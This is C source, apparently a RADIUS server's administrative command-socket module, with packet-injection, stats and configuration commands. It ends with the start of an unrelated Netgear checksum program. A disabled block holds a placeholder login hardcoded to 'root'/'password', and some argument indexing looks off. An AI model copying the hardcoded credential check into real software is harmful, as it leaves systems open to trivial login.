if (request->reply->code != 0) {
const char *what = "reply";
char buffer[1024];
if (request->reply->code < FR_MAX_PACKET_CODE) {
what = fr_packet_codes[request->reply->code];
}
fprintf(fp, "%s\n", what);
if (debug_flag) {
request->radlog(L_DBG, 0, request,
"Injected %s packet to host %s port 0 code=%d, id=%d",
what,
inet_ntop(request->reply->src_ipaddr.af,
&request->reply->src_ipaddr.ipaddr,
buffer, sizeof(buffer)),
request->reply->code, request->reply->id);
}
for (vp = request->reply->vps; vp != NULL; vp = vp->next) {
vp_prints(buffer, sizeof(buffer), vp);
fprintf(fp, "%s\n", buffer);
if (debug_flag) {
request->radlog(L_DBG, 0, request, "\t%s",
buffer);
}
}
}
fclose(fp);
return 0;
}
static int command_inject_to(rad_listen_t *listener, int argc, char *argv[])
{
int port;
RAD_LISTEN_TYPE type;
fr_command_socket_t *sock = listener->data;
fr_ipaddr_t ipaddr;
rad_listen_t *found = NULL;
if (argc < 1) {
cprintf(listener, "ERROR: Must specify [auth/acct]\n");
return 0;
}
if (strcmp(argv[0], "auth") == 0) {
type = RAD_LISTEN_AUTH;
} else if (strcmp(argv[0], "acct") == 0) {
#ifdef WITH_ACCOUNTING
type = RAD_LISTEN_ACCT;
#else
cprintf(listener, "ERROR: This server was built without accounting support.\n");
return 0;
#endif
} else {
cprintf(listener, "ERROR: Unknown socket type\n");
return 0;
}
if (argc < 3) {
cprintf(listener, "ERROR: No <ipaddr> <port> was given\n");
return 0;
}
/*
* FIXME: Look for optional arg 4, and bind interface.
*/
if (ip_hton(argv[1], AF_UNSPEC, &ipaddr) < 0) {
cprintf(listener, "ERROR: Failed parsing IP address; %s\n",
fr_strerror());
return 0;
}
port = atoi(argv[2]);
found = listener_find_byipaddr(&ipaddr, port);
if (!found) {
cprintf(listener, "ERROR: Could not find matching listener\n");
return 0;
}
sock->inject_listener = found;
sock->dst_ipaddr = ipaddr;
sock->dst_port = port;
return 1;
}
static int command_inject_from(rad_listen_t *listener, int argc, char *argv[])
{
RADCLIENT *client;
fr_command_socket_t *sock = listener->data;
if (argc < 1) {
cprintf(listener, "ERROR: No <ipaddr> was given\n");
return 0;
}
if (!sock->inject_listener) {
cprintf(listener, "ERROR: You must specify \"inject to\" before using \"inject from\"\n");
return 0;
}
sock->src_ipaddr.af = AF_UNSPEC;
if (ip_hton(argv[0], AF_UNSPEC, &sock->src_ipaddr) < 0) {
cprintf(listener, "ERROR: Failed parsing IP address; %s\n",
fr_strerror());
return 0;
}
client = client_listener_find(sock->inject_listener, &sock->src_ipaddr,
0);
if (!client) {
cprintf(listener, "ERROR: No such client %s\n", argv[0]);
return 0;
}
sock->inject_client = client;
return 1;
}
static int command_inject_file(rad_listen_t *listener, int argc, char *argv[])
{
static int inject_id = 0;
int filedone;
fr_command_socket_t *sock = listener->data;
rad_listen_t *fake;
REQUEST *request = NULL;
RADIUS_PACKET *packet;
VALUE_PAIR *vp;
FILE *fp;
RAD_REQUEST_FUNP fun = NULL;
char buffer[2048];
if (argc < 2) {
cprintf(listener, "ERROR: You must specify <input-file> <output-file>\n");
return 0;
}
if (!sock->inject_listener) {
cprintf(listener, "ERROR: You must specify \"inject to\" before using \"inject file\"\n");
return 0;
}
if (!sock->inject_client) {
cprintf(listener, "ERROR: You must specify \"inject from\" before using \"inject file\"\n");
return 0;
}
/*
* Output files always go to the logging directory.
*/
snprintf(buffer, sizeof(buffer), "%s/%s", radlog_dir, argv[1]);
fp = fopen(argv[0], "r");
if (!fp ) {
cprintf(listener, "ERROR: Failed opening %s: %s\n",
argv[0], strerror(errno));
return 0;
}
vp = readvp2(fp, &filedone, "");
fclose(fp);
if (!vp) {
cprintf(listener, "ERROR: Failed reading attributes from %s: %s\n",
argv[0], fr_strerror());
return 0;
}
fake = rad_malloc(sizeof(*fake));
memcpy(fake, sock->inject_listener, sizeof(*fake));
/*
* Re-write the IO for the listener.
*/
fake->encode = null_socket_dencode;
fake->decode = null_socket_dencode;
fake->send = null_socket_send;
packet = rad_alloc(0);
packet->src_ipaddr = sock->src_ipaddr;
packet->src_port = 0;
packet->dst_ipaddr = sock->dst_ipaddr;
packet->dst_port = sock->dst_port;
packet->vps = vp;
packet->id = inject_id++;
if (fake->type == RAD_LISTEN_AUTH) {
packet->code = PW_AUTHENTICATION_REQUEST;
fun = rad_authenticate;
} else {
#ifdef WITH_ACCOUNTING
packet->code = PW_ACCOUNTING_REQUEST;
fun = rad_accounting;
#else
cprintf(listener, "ERROR: This server was built without accounting support.\n");
rad_free(&packet);
free(fake);
return 0;
#endif
}
if (!received_request(fake, packet, &request, sock->inject_client)) {
cprintf(listener, "ERROR: Failed to inject request. See log file for details\n");
rad_free(&packet);
free(fake);
return 0;
}
/*
* Remember what the output file is, and remember to
* delete the fake listener when done.
*/
request_data_add(request, null_socket_send, 0, strdup(buffer), free);
request_data_add(request, null_socket_send, 1, fake, free);
if (debug_flag) {
request->radlog(L_DBG, 0, request,
"Injected %s packet from host %s port 0 code=%d, id=%d",
fr_packet_codes[packet->code],
inet_ntop(packet->src_ipaddr.af,
&packet->src_ipaddr.ipaddr,
buffer, sizeof(buffer)),
packet->code, packet->id);
for (vp = packet->vps; vp != NULL; vp = vp->next) {
vp_prints(buffer, sizeof(buffer), vp);
request->radlog(L_DBG, 0, request, "\t%s", buffer);
}
}
/*
* And go process it.
*/
thread_pool_addrequest(request, fun);
return 1;
}
static fr_command_table_t command_table_inject[] = {
{ "to", FR_WRITE,
"inject to <ipaddr> <port> - Inject packets to the destination IP and port.",
command_inject_to, NULL },
{ "from", FR_WRITE,
"inject from <ipaddr> - Inject packets as if they came from <ipaddr>",
command_inject_from, NULL },
{ "file", FR_WRITE,
"inject file <input-file> <output-file> - Inject packet from input-file>, with results sent to <output-file>",
command_inject_file, NULL },
{ NULL, 0, NULL, NULL, NULL }
};
static fr_command_table_t command_table_debug[] = {
{ "condition", FR_WRITE,
"debug condition [condition] - Enable debugging for requests matching [condition]",
command_debug_condition, NULL },
{ "level", FR_WRITE,
"debug level <number> - Set debug level to <number>. Higher is more debugging.",
command_debug_level, NULL },
{ "file", FR_WRITE,
"debug file [filename] - Send all debugging output to [filename]",
command_debug_file, NULL },
{ NULL, 0, NULL, NULL, NULL }
};
static fr_command_table_t command_table_show_debug[] = {
{ "condition", FR_READ,
"show debug condition - Shows current debugging condition.",
command_show_debug_condition, NULL },
{ "level", FR_READ,
"show debug level - Shows current debugging level.",
command_show_debug_level, NULL },
{ "file", FR_READ,
"show debug file - Shows current debugging file.",
command_show_debug_file, NULL },
{ NULL, 0, NULL, NULL, NULL }
};
static fr_command_table_t command_table_show_module[] = {
{ "config", FR_READ,
"show module config <module> - show configuration for given module",
command_show_module_config, NULL },
{ "flags", FR_READ,
"show module flags <module> - show other module properties",
command_show_module_flags, NULL },
{ "list", FR_READ,
"show module list - shows list of loaded modules",
command_show_modules, NULL },
{ "methods", FR_READ,
"show module methods <module> - show sections where <module> may be used",
command_show_module_methods, NULL },
{ NULL, 0, NULL, NULL, NULL }
};
static fr_command_table_t command_table_show_client[] = {
{ "config", FR_READ,
"show client config <ipaddr> - show configuration for given client",
command_show_client_config, NULL },
{ "list", FR_READ,
"show client list - shows list of global clients",
command_show_clients, NULL },
{ NULL, 0, NULL, NULL, NULL }
};
#ifdef WITH_PROXY
static fr_command_table_t command_table_show_home[] = {
{ "config", FR_READ,
"show home_server config <ipaddr> <port> - show configuration for given home server",
command_show_home_server_config, NULL },
{ "list", FR_READ,
"show home_server list - shows list of home servers",
command_show_home_servers, NULL },
{ "state", FR_READ,
"show home_server state <ipaddr> <port> - shows state of given home server",
command_show_home_server_state, NULL },
{ NULL, 0, NULL, NULL, NULL }
};
#endif
static fr_command_table_t command_table_show[] = {
{ "client", FR_READ,
"show client <command> - do sub-command of client",
NULL, command_table_show_client },
{ "debug", FR_READ,
"show debug <command> - show debug properties",
NULL, command_table_show_debug },
#ifdef WITH_PROXY
{ "home_server", FR_READ,
"show home_server <command> - do sub-command of home_server",
NULL, command_table_show_home },
#endif
{ "module", FR_READ,
"show module <command> - do sub-command of module",
NULL, command_table_show_module },
{ "uptime", FR_READ,
"show uptime - shows time at which server started",
command_uptime, NULL },
{ "version", FR_READ,
"show version - Prints version of the running server",
command_show_version, NULL },
{ "xml", FR_READ,
"show xml <reference> - Prints out configuration as XML",
command_show_xml, NULL },
{ NULL, 0, NULL, NULL, NULL }
};
static int command_set_module_config(rad_listen_t *listener, int argc, char *argv[])
{
int i, rcode;
CONF_PAIR *cp;
CONF_SECTION *cs;
module_instance_t *mi;
const CONF_PARSER *variables;
void *data;
if (argc < 3) {
cprintf(listener, "ERROR: No module name or variable was given\n");
return 0;
}
cs = cf_section_find("modules");
if (!cs) return 0;
mi = find_module_instance(cs, argv[0], 0);
if (!mi) {
cprintf(listener, "ERROR: No such module \"%s\"\n", argv[0]);
return 0;
}
if ((mi->entry->module->type & RLM_TYPE_HUP_SAFE) == 0) {
cprintf(listener, "ERROR: Cannot change configuration of module as it is cannot be HUP'd.\n");
return 0;
}
variables = cf_section_parse_table(mi->cs);
if (!variables) {
cprintf(listener, "ERROR: Cannot find configuration for module\n");
return 0;
}
rcode = -1;
for (i = 0; variables[i].name != NULL; i++) {
/*
* FIXME: Recurse into sub-types somehow...
*/
if (variables[i].type == PW_TYPE_SUBSECTION) continue;
if (strcmp(variables[i].name, argv[1]) == 0) {
rcode = i;
break;
}
}
if (rcode < 0) {
cprintf(listener, "ERROR: No such variable \"%s\"\n", argv[1]);
return 0;
}
i = rcode; /* just to be safe */
/*
* It's not part of the dynamic configuration. The module
* needs to re-parse && validate things.
*/
if (variables[i].data) {
cprintf(listener, "ERROR: Variable cannot be dynamically updated\n");
return 0;
}
data = ((char *) mi->insthandle) + variables[i].offset;
cp = cf_pair_find(mi->cs, argv[1]);
if (!cp) return 0;
/*
* Replace the OLD value in the configuration file with
* the NEW value.
*
* FIXME: Parse argv[2] depending on it's data type!
* If it's a string, look for leading single/double quotes,
* end then call tokenize functions???
*/
cf_pair_replace(mi->cs, cp, argv[2]);
rcode = cf_item_parse(mi->cs, argv[1], variables[i].type,
data, argv[2]);
if (rcode < 0) {
cprintf(listener, "ERROR: Failed to parse value\n");
return 0;
}
return 1; /* success */
}
static int command_set_module_state(rad_listen_t *listener, int argc, char *argv[])
{
CONF_SECTION *cs;
module_instance_t *mi;
if (argc < 2) {
cprintf(listener, "ERROR: No module name or status was given\n");
return 0;
}
cs = cf_section_find("modules");
if (!cs) return 0;
mi = find_module_instance(cs, argv[0], 0);
if (!mi) {
cprintf(listener, "ERROR: No such module \"%s\"\n", argv[0]);
return 0;
}
if (strcmp(argv[1], "alive") == 0) {
mi->dead = FALSE;
} else if (strcmp(argv[1], "dead") == 0) {
mi->dead = TRUE;
} else {
cprintf(listener, "ERROR: Unknown status \"%s\"\n", argv[2]);
return 0;
}
return 1; /* success */
}
static int command_print_stats(rad_listen_t *listener, fr_stats_t *stats,
int auth)
{
cprintf(listener, "\trequests\t%u\n", stats->total_requests);
cprintf(listener, "\tresponses\t%u\n", stats->total_responses);
if (auth) {
cprintf(listener, "\taccepts\t\t%u\n",
stats->total_access_accepts);
cprintf(listener, "\trejects\t\t%u\n",
stats->total_access_rejects);
cprintf(listener, "\tchallenges\t%u\n",
stats->total_access_challenges);
}
cprintf(listener, "\tdup\t\t%u\n", stats->total_dup_requests);
cprintf(listener, "\tinvalid\t\t%u\n", stats->total_invalid_requests);
cprintf(listener, "\tmalformed\t%u\n", stats->total_malformed_requests);
cprintf(listener, "\tbad_signature\t%u\n", stats->total_bad_authenticators);
cprintf(listener, "\tdropped\t\t%u\n", stats->total_packets_dropped);
cprintf(listener, "\tunknown_types\t%u\n", stats->total_unknown_types);
return 1;
}
#ifdef WITH_DETAIL
static FR_NAME_NUMBER state_names[] = {
{ "unopened", STATE_UNOPENED },
{ "unlocked", STATE_UNLOCKED },
{ "header", STATE_HEADER },
{ "reading", STATE_READING },
{ "queued", STATE_QUEUED },
{ "running", STATE_RUNNING },
{ "no-reply", STATE_NO_REPLY },
{ "replied", STATE_REPLIED },
{ NULL, 0 }
};
static int command_stats_detail(rad_listen_t *listener, int argc, char *argv[])
{
rad_listen_t *this;
listen_detail_t *data;
struct stat buf;
if (argc == 0) {
cprintf(listener, "ERROR: Must specify <filename>\n");
return 0;
}
data = NULL;
for (this = mainconfig.listen; this != NULL; this = this->next) {
if (this->type != RAD_LISTEN_DETAIL) continue;
data = this->data;
if (strcmp(argv[1], data->filename) != 0) continue;
break;
}
if (!data) {
cprintf(listener, "ERROR: No detail file listener\n");
return 0;
}
cprintf(listener, "\tstate\t%s\n",
fr_int2str(state_names, data->state, "?"));
if ((data->state == STATE_UNOPENED) ||
(data->state == STATE_UNLOCKED)) {
return 1;
}
/*
* Race conditions: file might not exist.
*/
if (stat(data->filename_work, &buf) < 0) {
cprintf(listener, "packets\t0\n");
cprintf(listener, "tries\t0\n");
cprintf(listener, "offset\t0\n");
cprintf(listener, "size\t0\n");
return 1;
}
cprintf(listener, "packets\t%d\n", data->packets);
cprintf(listener, "tries\t%d\n", data->tries);
cprintf(listener, "offset\t%u\n", (unsigned int) data->offset);
cprintf(listener, "size\t%u\n", (unsigned int) buf.st_size);
return 1;
}
#endif
#ifdef WITH_PROXY
static int command_stats_home_server(rad_listen_t *listener, int argc, char *argv[])
{
home_server *home;
if (argc == 0) {
cprintf(listener, "ERROR: Must specify [auth/acct] OR <ipaddr> <port>\n");
return 0;
}
if (argc == 1) {
#ifdef WITH_ACCOUNTING
if (strcmp(argv[0], "acct") == 0) {
return command_print_stats(listener,
&proxy_acct_stats, 0);
}
#endif
if (strcmp(argv[0], "auth") == 0) {
return command_print_stats(listener,
&proxy_auth_stats, 1);
}
cprintf(listener, "ERROR: Should specify [auth/acct]\n");
return 0;
}
home = get_home_server(listener, argc, argv);
if (!home) {
return 0;
}
command_print_stats(listener, &home->stats,
(home->type == HOME_TYPE_AUTH));
cprintf(listener, "\toutstanding\t%d\n", home->currently_outstanding);
return 1;
}
#endif
static int command_stats_client(rad_listen_t *listener, int argc, char *argv[])
{
int auth = TRUE;
RADCLIENT *client;
if (argc < 1) {
cprintf(listener, "ERROR: Must specify [auth/acct]\n");
return 0;
}
if (strcmp(argv[0], "auth") == 0) {
auth = TRUE;
} else if (strcmp(argv[0], "acct") == 0) {
#ifdef WITH_ACCOUNTING
auth = FALSE;
#else
cprintf(listener, "ERROR: This server was built without accounting support.\n");
return 0;
#endif
} else {
cprintf(listener, "ERROR: Unknown statistics type\n");
return 0;
}
/*
* Global results for all client.
*/
if (argc == 1) {
#ifdef WITH_ACCOUNTING
if (!auth) {
return command_print_stats(listener,
&radius_acct_stats, auth);
}
#endif
return command_print_stats(listener, &radius_auth_stats, auth);
}
client = get_client(listener, argc - 1, argv + 1);
if (!client) {
return 0;
}
#ifdef WITH_ACCOUNTING
if (!auth) {
return command_print_stats(listener, client->acct, auth);
}
#endif
return command_print_stats(listener, client->auth, auth);
}
static int command_add_client_file(rad_listen_t *listener, int argc, char *argv[])
{
RADCLIENT *c;
if (argc < 1) {
cprintf(listener, "ERROR: <file> is required\n");
return 0;
}
/*
* Read the file and generate the client.
*/
c = client_read(argv[0], FALSE, FALSE);
if (!c) {
cprintf(listener, "ERROR: Unknown error reading client file.\n");
return 0;
}
if (!client_add(NULL, c)) {
cprintf(listener, "ERROR: Unknown error inserting new client.\n");
client_free(c);
return 0;
}
return 1;
}
static int command_del_client(rad_listen_t *listener, int argc, char *argv[])
{
#ifdef WITH_DYNAMIC_CLIENTS
RADCLIENT *client;
client = get_client(listener, argc, argv);
if (!client) return 0;
if (!client->dynamic) {
cprintf(listener, "ERROR: Client %s was not dynamically defined.\n", argv[0]);
return 0;
}
/*
* DON'T delete it. Instead, mark it as "dead now". The
* next time we receive a packet for the client, it will
* be deleted.
*
* If we don't receive a packet from it, the client
* structure will stick around for a while. Oh well...
*/
client->lifetime = 1;
#else
cprintf(listener, "ERROR: Dynamic clients are not supported.\n");
#endif
return 1;
}
static fr_command_table_t command_table_del_client[] = {
{ "ipaddr", FR_WRITE,
"del client ipaddr <ipaddr> - Delete a dynamically created client",
command_del_client, NULL },
{ NULL, 0, NULL, NULL, NULL }
};
static fr_command_table_t command_table_del[] = {
{ "client", FR_WRITE,
"del client <command> - Delete client configuration commands",
NULL, command_table_del_client },
{ NULL, 0, NULL, NULL, NULL }
};
static fr_command_table_t command_table_add_client[] = {
{ "file", FR_WRITE,
"add client file <filename> - Add new client definition from <filename>",
command_add_client_file, NULL },
{ NULL, 0, NULL, NULL, NULL }
};
static fr_command_table_t command_table_add[] = {
{ "client", FR_WRITE,
"add client <command> - Add client configuration commands",
NULL, command_table_add_client },
{ NULL, 0, NULL, NULL, NULL }
};
#ifdef WITH_PROXY
static fr_command_table_t command_table_set_home[] = {
{ "state", FR_WRITE,
"set home_server state <ipaddr> <port> [alive|dead] - set state for given home server",
command_set_home_server_state, NULL },
{ NULL, 0, NULL, NULL, NULL }
};
#endif
static fr_command_table_t command_table_set_module[] = {
{ "config", FR_WRITE,
"set module config <module> variable value - set configuration for <module>",
command_set_module_config, NULL },
{ "state", FR_WRITE,
"set module state NAME [alive|dead] - set the module NAME to be alive or dead (always return \"fail\")",
command_set_module_state, NULL },
{ NULL, 0, NULL, NULL, NULL }
};
static fr_command_table_t command_table_set[] = {
{ "module", FR_WRITE,
"set module <command> - set module commands",
NULL, command_table_set_module },
#ifdef WITH_PROXY
{ "home_server", FR_WRITE,
"set home_server <command> - set home server commands",
NULL, command_table_set_home },
#endif
{ NULL, 0, NULL, NULL, NULL }
};
static fr_command_table_t command_table_stats[] = {
{ "client", FR_READ,
"stats client [auth/acct] <ipaddr> - show statistics for given client, or for all clients (auth or acct)",
command_stats_client, NULL },
#ifdef WITH_PROXY
{ "home_server", FR_READ,
"stats home_server [<ipaddr>/auth/acct] <port> - show statistics for given home server (ipaddr and port), or for all home servers (auth or acct)",
command_stats_home_server, NULL },
#endif
#ifdef WITH_DETAIL
{ "detail", FR_READ,
"stats detail <filename> - show statistics for the given detail file",
command_stats_detail, NULL },
#endif
{ NULL, 0, NULL, NULL, NULL }
};
static fr_command_table_t command_table[] = {
{ "add", FR_WRITE, NULL, NULL, command_table_add },
{ "debug", FR_WRITE,
"debug <command> - debugging commands",
NULL, command_table_debug },
{ "del", FR_WRITE, NULL, NULL, command_table_del },
{ "hup", FR_WRITE,
"hup [module] - sends a HUP signal to the server, or optionally to one module",
command_hup, NULL },
{ "inject", FR_WRITE,
"inject <command> - commands to inject packets into a running server",
NULL, command_table_inject },
{ "reconnect", FR_READ,
"reconnect - reconnect to a running server",
NULL, NULL }, /* just here for "help" */
{ "terminate", FR_WRITE,
"terminate - terminates the server, and cause it to exit",
command_terminate, NULL },
{ "set", FR_WRITE, NULL, NULL, command_table_set },
{ "show", FR_READ, NULL, NULL, command_table_show },
{ "stats", FR_READ, NULL, NULL, command_table_stats },
{ NULL, 0, NULL, NULL, NULL }
};
static void command_socket_free(rad_listen_t *this)
{
fr_command_socket_t *sock = this->data;
unlink(sock->copy);
free(sock->copy);
sock->copy = NULL;
}
/*
* Parse the unix domain sockets.
*
* FIXME: TCP + SSL, after RadSec is in.
*/
static int command_socket_parse(CONF_SECTION *cs, rad_listen_t *this)
{
fr_command_socket_t *sock;
if (check_config) return 0;
sock = this->data;
if (cf_section_parse(cs, sock, command_config) < 0) {
return -1;
}
sock->copy = NULL;
if (sock->path) sock->copy = strdup(sock->path);
#if defined(HAVE_GETPEEREID) || defined (SO_PEERCRED)
if (sock->uid_name) {
struct passwd *pw;
pw = getpwnam(sock->uid_name);
if (!pw) {
radlog(L_ERR, "Failed getting uid for %s: %s",
sock->uid_name, strerror(errno));
return -1;
}
sock->uid = pw->pw_uid;
} else {
sock->uid = -1;
}
if (sock->gid_name) {
struct group *gr;
gr = getgrnam(sock->gid_name);
if (!gr) {
radlog(L_ERR, "Failed getting gid for %s: %s",
sock->gid_name, strerror(errno));
return -1;
}
sock->gid = gr->gr_gid;
} else {
sock->gid = -1;
}
#else /* can't get uid or gid of connecting user */
if (sock->uid_name || sock->gid_name) {
radlog(L_ERR, "System does not support uid or gid authentication for sockets");
return -1;
}
#endif
if (!sock->mode_name) {
sock->mode = FR_READ;
} else {
sock->mode = fr_str2int(mode_names, sock->mode_name, 0);
if (!sock->mode) {
radlog(L_ERR, "Invalid mode name \"%s\"",
sock->mode_name);
return -1;
}
}
/*
* FIXME: check for absolute pathnames?
* check for uid/gid on the other end...
*/
this->fd = fr_server_domain_socket(sock->path);
if (this->fd < 0) {
return -1;
}
#if defined(HAVE_GETPEEREID) || defined (SO_PEERCRED)
/*
* Don't chown it from (possibly) non-root to root.
* Do chown it from (possibly) root to non-root.
*/
if ((sock->uid != -1) || (sock->gid != -1)) {
fr_suid_up();
if (fchown(this->fd, sock->uid, sock->gid) < 0) {
radlog(L_ERR, "Failed setting ownership of %s: %s",
sock->path, strerror(errno));
fr_suid_down();
return -1;
}
fr_suid_down();
}
#endif
return 0;
}
static int command_socket_print(const rad_listen_t *this, char *buffer, size_t bufsize)
{
fr_command_socket_t *sock = this->data;
snprintf(buffer, bufsize, "command file %s", sock->path);
return 1;
}
/*
* String split routine. Splits an input string IN PLACE
* into pieces, based on spaces.
*/
static int str2argv(char *str, char **argv, int max_argc)
{
int argc = 0;
size_t len;
char buffer[1024];
while (*str) {
if (argc >= max_argc) return argc;
/*
* Chop out comments early.
*/
if (*str == '#') {
*str = '\0';
break;
}
while ((*str == ' ') ||
(*str == '\t') ||
(*str == '\r') ||
(*str == '\n')) *(str++) = '\0';
if (!*str) return argc;
if ((*str == '\'') || (*str == '"')) {
char *p = str;
FR_TOKEN token;
token = gettoken((const char **) &p, buffer,
sizeof(buffer));
if ((token != T_SINGLE_QUOTED_STRING) &&
(token != T_DOUBLE_QUOTED_STRING)) {
return -1;
}
len = strlen(buffer);
if (len >= (size_t) (p - str)) {
return -1;
}
memcpy(str, buffer, len + 1);
argv[argc] = str;
str = p;
} else {
argv[argc] = str;
}
argc++;
while (*str &&
(*str != ' ') &&
(*str != '\t') &&
(*str != '\r') &&
(*str != '\n')) str++;
}
return argc;
}
static void print_help(rad_listen_t *listener,
fr_command_table_t *table, int recursive)
{
int i;
for (i = 0; table[i].command != NULL; i++) {
if (table[i].help) {
cprintf(listener, "%s\n",
table[i].help);
} else {
cprintf(listener, "%s <command> - do sub-command of %s\n",
table[i].command, table[i].command);
}
if (recursive && table[i].table) {
print_help(listener, table[i].table, recursive);
}
}
}
#define MAX_ARGV (16)
/*
* Check if an incoming request is "ok"
*
* It takes packets, not requests. It sees if the packet looks
* OK. If so, it does a number of sanity checks on it.
*/
static int command_domain_recv(rad_listen_t *listener,
UNUSED RAD_REQUEST_FUNP *pfun,
UNUSED REQUEST **prequest)
{
int i, rcode;
ssize_t len;
int argc;
char *my_argv[MAX_ARGV], **argv;
fr_command_table_t *table;
fr_command_socket_t *co = listener->data;
*pfun = NULL;
*prequest = NULL;
do {
ssize_t c;
char *p;
len = recv(listener->fd, co->buffer + co->offset,
sizeof(co->buffer) - co->offset - 1, 0);
if (len == 0) goto close_socket; /* clean close */
if (len < 0) {
if ((errno == EAGAIN) || (errno == EINTR)) {
return 0;
}
goto close_socket;
}
/*
* CTRL-D
*/
if ((co->offset == 0) && (co->buffer[0] == 0x04)) {
close_socket:
command_close_socket(listener);
return 0;
}
/*
* See if there are multiple lines in the buffer.
*/
p = co->buffer + co->offset;
rcode = 0;
p[len] = '\0';
for (c = 0; c < len; c++) {
if ((*p == '\r') || (*p == '\n')) {
rcode = 1;
*p = '\0';
/*
* FIXME: do real buffering...
* handling of CTRL-C, etc.
*/
} else if (rcode) {
/*
* \r \n followed by ASCII...
*/
break;
}
p++;
}
co->offset += len;
/*
* Saw CR/LF. Set next element, and exit.
*/
if (rcode) {
co->next = p - co->buffer;
break;
}
if (co->offset >= (ssize_t) (sizeof(co->buffer) - 1)) {
radlog(L_ERR, "Line too long!");
goto close_socket;
}
co->offset++;
} while (1);
DEBUG("radmin> %s", co->buffer);
argc = str2argv(co->buffer, my_argv, MAX_ARGV);
if (argc == 0) goto do_next; /* empty strings are OK */
if (argc < 0) {
cprintf(listener, "ERROR: Failed parsing command.\n");
goto do_next;
}
argv = my_argv;
for (len = 0; len <= co->offset; len++) {
if (co->buffer[len] < 0x20) {
co->buffer[len] = '\0';
break;
}
}
/*
* Hard-code exit && quit.
*/
if ((strcmp(argv[0], "exit") == 0) ||
(strcmp(argv[0], "quit") == 0)) goto close_socket;
#if 0
if (!co->user[0]) {
if (strcmp(argv[0], "login") != 0) {
cprintf(listener, "ERROR: Login required\n");
goto do_next;
}
if (argc < 3) {
cprintf(listener, "ERROR: login <user> <password>\n");
goto do_next;
}
/*
* FIXME: Generate && process fake RADIUS request.
*/
if ((strcmp(argv[1], "root") == 0) &&
(strcmp(argv[2], "password") == 0)) {
strlcpy(co->user, argv[1], sizeof(co->user));
goto do_next;
}
cprintf(listener, "ERROR: Login incorrect\n");
goto do_next;
}
#endif
table = command_table;
retry:
len = 0;
for (i = 0; table[i].command != NULL; i++) {
if (strcmp(table[i].command, argv[0]) == 0) {
/*
* Check permissions.
*/
if (((co->mode & FR_WRITE) == 0) &&
((table[i].mode & FR_WRITE) != 0)) {
cprintf(listener, "ERROR: You do not have write permission. See \"mode = rw\" in the \"listen\" section for this socket.\n");
goto do_next;
}
if (table[i].table) {
/*
* This is the last argument, but
* there's a sub-table. Print help.
*
*/
if (argc == 1) {
table = table[i].table;
goto do_help;
}
argc--;
argv++;
table = table[i].table;
goto retry;
}
if ((argc == 2) && (strcmp(argv[1], "?") == 0)) goto do_help;
if (!table[i].func) {
cprintf(listener, "ERROR: Invalid command\n");
goto do_next;
}
len = 1;
rcode = table[i].func(listener,
argc - 1, argv + 1);
break;
}
}
/*
* No such command
*/
if (!len) {
if ((strcmp(argv[0], "help") == 0) ||
(strcmp(argv[0], "?") == 0)) {
int recursive;
do_help:
if ((argc > 1) && (strcmp(argv[1], "-r") == 0)) {
recursive = TRUE;
} else {
recursive = FALSE;
}
print_help(listener, table, recursive);
goto do_next;
}
cprintf(listener, "ERROR: Unknown command \"%s\"\n",
argv[0]);
}
do_next:
cprintf(listener, "radmin> ");
if (co->next <= co->offset) {
co->offset = 0;
} else {
memmove(co->buffer, co->buffer + co->next,
co->offset - co->next);
co->offset -= co->next;
}
return 0;
}
static int command_domain_accept(rad_listen_t *listener,
UNUSED RAD_REQUEST_FUNP *pfun,
UNUSED REQUEST **prequest)
{
int newfd;
uint32_t magic;
rad_listen_t *this;
socklen_t salen;
struct sockaddr_storage src;
fr_command_socket_t *sock = listener->data;
salen = sizeof(src);
DEBUG2(" ... new connection request on command socket.");
*pfun = NULL;
*prequest = NULL;
newfd = accept(listener->fd, (struct sockaddr *) &src, &salen);
if (newfd < 0) {
/*
* Non-blocking sockets must handle this.
*/
if (errno == EWOULDBLOCK) {
return 0;
}
DEBUG2(" ... failed to accept connection.");
return 0;
}
#if defined(HAVE_GETPEEREID) || defined (SO_PEERCRED)
/*
* Perform user authentication.
*/
if (sock->uid_name || sock->gid_name) {
uid_t uid;
gid_t gid;
if (getpeereid(newfd, &uid, &gid) < 0) {
radlog(L_ERR, "Failed getting peer credentials for %s: %s",
sock->path, strerror(errno));
close(newfd);
return 0;
}
/*
* Only do UID checking if the caller is
* non-root. The superuser can do anything, so
* we might as well let them.
*/
if (uid != 0) do {
/*
* Allow entry if UID or GID matches.
*/
if (sock->uid_name && (sock->uid == uid)) break;
if (sock->gid_name && (sock->gid == gid)) break;
if (sock->uid_name && (sock->uid != uid)) {
radlog(L_ERR, "Unauthorized connection to %s from uid %ld",
sock->path, (long int) uid);
close(newfd);
return 0;
}
if (sock->gid_name && (sock->gid != gid)) {
radlog(L_ERR, "Unauthorized connection to %s from gid %ld",
sock->path, (long int) gid);
close(newfd);
return 0;
}
} while (0);
}
#endif
/*
* Write 32-bit magic number && version information.
*/
magic = htonl(0xf7eead15);
if (write(newfd, &magic, 4) < 0) {
radlog(L_ERR, "Failed writing initial data to socket: %s",
strerror(errno));
close(newfd);
return 0;
}
magic = htonl(1); /* protocol version */
if (write(newfd, &magic, 4) < 0) {
radlog(L_ERR, "Failed writing initial data to socket: %s",
strerror(errno));
close(newfd);
return 0;
}
/*
* Add the new listener.
*/
this = listen_alloc(listener->type);
if (!this) return 0;
/*
* Copy everything, including the pointer to the socket
* information.
*/
sock = this->data;
memcpy(this, listener, sizeof(*this));
this->status = RAD_LISTEN_STATUS_INIT;
this->next = NULL;
this->data = sock; /* fix it back */
sock->offset = 0;
sock->user[0] = '\0';
sock->path = ((fr_command_socket_t *) listener->data)->path;
sock->mode = ((fr_command_socket_t *) listener->data)->mode;
this->fd = newfd;
this->recv = command_domain_recv;
/*
* Tell the event loop that we have a new FD
*/
event_new_fd(this);
return 0;
}
/*
* Send an authentication response packet
*/
static int command_domain_send(UNUSED rad_listen_t *listener,
UNUSED REQUEST *request)
{
return 0;
}
static int command_socket_encode(UNUSED rad_listen_t *listener,
UNUSED REQUEST *request)
{
return 0;
}
static int command_socket_decode(UNUSED rad_listen_t *listener,
UNUSED REQUEST *request)
{
return 0;
}
#endif /* WITH_COMMAND_SOCKET */
|
the_stack_data/66344.c | /* **************************************************************************
This program creates a modified 16bit checksum used for the Netgear
DGN3500 series routers. The difference between this and a standard
checksum is that every 0x100 bytes added 0x100 have to be subtracted
from the sum.
(C) 2013 Marco Antonio Mauro <marcus90 at gmail.com>
Based on previous unattributed work.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
